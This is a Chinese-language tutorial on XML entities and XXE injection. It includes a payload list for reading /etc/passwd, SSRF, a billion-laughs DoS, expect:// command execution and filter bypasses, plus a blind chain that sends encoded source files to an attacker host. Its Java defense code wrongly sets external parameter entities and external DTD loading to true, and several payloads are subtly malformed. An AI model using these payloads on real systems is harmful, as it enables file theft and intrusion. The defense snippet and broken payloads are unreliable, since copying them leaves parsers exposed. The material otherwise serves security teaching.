XML基础知识
<!--XML声明-->
<?xml version="1.0"?>
<!--DTD-->
<!DOCTYPE note [ <!--根元素定义-->
<!ELEMENT note (to,from,heading,body)>
<!--
<!ELEMENT name type>
type可以是EMPTY、#PCDATA、#CDATA、ANY、子元素
PCDATA是会被解析器解析对文本
CDATA是不会被解析器解析对文本
-->
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!--XML文档元素-->
<note>
<to>Person1</to>
<from>Person2</from>
<heading>Hello World!</heading>
<body>Welcome to Cyber Security</body>
</note>
实体
| 一般实体 | 参数实体 | |
|---|---|---|
| 内部实体声明方式 | <!ENTITY 实体名 "文本内容"> |
<!ENTITY % 实体名 "文本内容"> |
| 外部实体声明方式 | <!ENTITY 实体名 SYSTEM "外部文件地址"> |
<!ENTITY % 实体名 SYSTEM "外部文件地址"> |
| 引用方式 | &name; |
&name; |
| 使用场景 | XML文档中 | DTD中 |
内部一般实体
<!ENTITY email "88888@qq.com">
<!ENTITY correspondance "email:&email;">
<!ENTITY email "888888@qq.com">
注意:一般实体定义只能应用在另一个实体定义中,而不能在元素ELEMENT的定义中
外部一般实体
<!ENTITY correspondance "email:&email;">
<!ENTITY email "888888@qq.com">
<!ENTITY content SYSTEM "test323.txt">
]>
<person>
<name>Jason</name>
<addr>Shanghai</addr>
&content;
</person>
test323.txt文件中的内容
<tel>18888888888</tel>
<br />
<email>&correspondance;</email>
内部参数实体
参数实体不能被应用在元素的声明中,不能使用参数实体来定义元素,只有在外部DTD中参数实体才能被应用到元素的声明当中。
1.xml文件中的内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person SYSTEM "test.dtd">
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18888888888</tel>
<br />
<email>888888@qq.com</email>
</person>
test.dtd文件中的内容
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % end "(#PCDATA)">
<!ELEMENT name %end;>
<!ELEMENT addr %end;>
<!ELEMENT tel %end;>
<!ELEMENT br EMPTY>
<!ELEMENT email %end;>
外部参数实体
能将原来很长的DTD文档拆分成很多很小的、相互调用的文档集合,适合大型DTD文档的设计开发。
1.xml文件中的内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person [
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY % content SYSTEM "test.dtd">
%content;
]>
<person>
<name>Jason</name>
<addr>Shanghai</addr>
<tel>18888888888</tel>
<br />
<email>888888@qq.com</email>
</person>
test.dtd文件中的内容
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT name (#PCDATA)>
<!ELEMENT addr (#PCDATA)>
<!ELEMENT tel (#PCDATA)>
<!ELEMENT br EMPTY>
<!ELEMENT email (#PCDATA)>
XXE基础
概述
XXE(XML External Entity Injection)是一种针对XML终端实施的外部实体注入攻击,漏洞产生的根本原因就是在XML1.0标准中引入了ENTITY这个概念,且ENTITY可以在预定义的文档中进行调用,XXE漏洞就是通过实体的标识符访问本地或者远程内容。
XXE攻击要素
-
需要在XML的Payload中包含外部实体声明
-
服务端对用户输入检查不严格
-
服务器本身允许实体扩展
XXE漏洞成因
太相信用户输入,把用户输入的XML格式数据直接解析,造成XXE漏洞。
**InputStream xml=request.getInputStream();**
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
InputSource is = new InputSource(xml);
Document doc = builder.parse(is);
Element element = doc.getDocumentElement();
NodeList nodes = element.getChildNodes();
for (int i = 0; i < nodes.getLength(); i++) {
Boolean xmlUpdate = new XMLhandle(nodes.item(i).getNodeName(),nodes.item(i).getFirstChild().getNodeValue().toString());
}
XXE漏洞挖掘
漏洞利用方式
-
文件读取(本地文件读取)
-
文件包含(远程文件包含)
-
列目录(列出服务器目录有哪些文件)
-
SSRF(内网探测、内网漏洞利用)
-
执行命令(依赖于PHP环境下的expect扩展)
判断是否存在XXE测试点
最直接的方法就是抓包,然后修改HTTP请求方法,修改Content-Type头部字段,查看返回包的相应,看看程序是否解析了发送的内容,一旦解析了,那么有可能存在漏洞。
判断是否支持外部实体
判断是否支持外部实体的方法比较简单,就是构造加载外部实体的Payload,然后查看是否成功加载,代码如下:
<?xml version="1.0" encoding="UTF-8">
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM "http://yourhost/evil.xml">
%shit;
]>
libxml2.9.1及以后,默认不解析外部实体,可以使用 phpinfo()查看libxml2的版本信息。
有回显读取文件
如果在一个数据包中,发现了XML的特征后,那么只能是怀疑此处可能通过XML进行数据传输。在数据包中输入以下代码进行验证
<test>XXXXXX</test>
如果返回200不报错,并有返回结果。则可以确定此处是通过XML进行传输的。可以输入以下代码尝试进行文件读取。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM file://etc/passwd>
]>
<xxe>&xxe;</xxe>
无回显XXE
我们先在Kali上开启apache服务,然后将下面的Payload发送过去
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/PHPTutorial/WWW/php_xxe/doLogin.php">
<!ENTITY % dtd SYSTEM "http://192.168.61.130/evil.xml">
%dtd;
%send;
]>
evil.xml中的内容如下
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.61.130/?content=%file;'> %payload;
然后我们查看下apache的访问日志(tail -f /var/log/apache2/access.log)然后我们就能看到apache的访问请求,content参数的内容即为编码后的doLogin.php的代码
XML可用的外部实体类型
| libxml2 | PHP | Java | .Net |
|---|---|---|---|
| file http ftp |
file http ftp php compress.zlib compress.bzip2 data glob phar |
http https ftp file jar netdoc mailto gopher * |
file http https ftp |
Payload列表
文件读取 / 文件泄漏
<!--?xml verison="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file://etc/shaodw">]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
有回显的情况下使用。
DOS攻击
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<tag>&lol9;</tag>
无回显本地文件包含
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]>
<foo>&blind;</foo>
加载资源受限情况
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">
]>
<foo><result>∾</result></foo>
PHP语言以上Payload可以绕过资源受限情况加载外部资源
SSRF服务器请求
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
远程文件XML包含
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1..&test;<lol></lolz>
Base64编码
<!DOCTYPE test [
<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzo3dk">]>
<foo>&init;</foo>
利用SOAP协议进行探测攻击
利用SOAP格式可进行SSRF攻击
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
利用SVG协议执行命令
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
关键字过滤如ENTITY情况绕过
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd"
]>
<x>&f;</x>
变成下面这样子
<?xml version="1.0" encoding="utf-7"?>
+ADwAlQ-DOCTYPE ANY +AFs-
+ADwAlQ-ENTITY f SYSTEM _ACl-file:///etc/passwd+AClAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
关键字过滤用UTF-7编码绕过bypass
绕过无法引用外部实体
<?xml version="1.0"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
当libxml2版本高于2.9.1时,默认无法引用外部实体,可尝试XXE文件包含攻击。
其他Payload
请参考:XXE Payloads
XXE防御
-
过滤用户输入的XML数据(关键字:
<!DOCTYPE、<!ENTITY、SYSTEM等) -
设置解析器参数,禁用外部实体
禁用DTDs(doctypes),几乎可以防御所有XML实体攻击
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
如果不能禁用DTDs,可以使用下面两项(必须同时存在)
reader.setFeature("http://xml.org/sax/features/external-general-entities", false); // 防止外部普通实体攻击
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", true); // 防止外部参数实体攻击
禁用外部DTD
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
-
使用开发语言提供的禁用外部实体的方法
-
PHP
libxml_disable_entity_loader(true); -
Python
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
靶场环境
XXE靶场源码:XXE-Lab
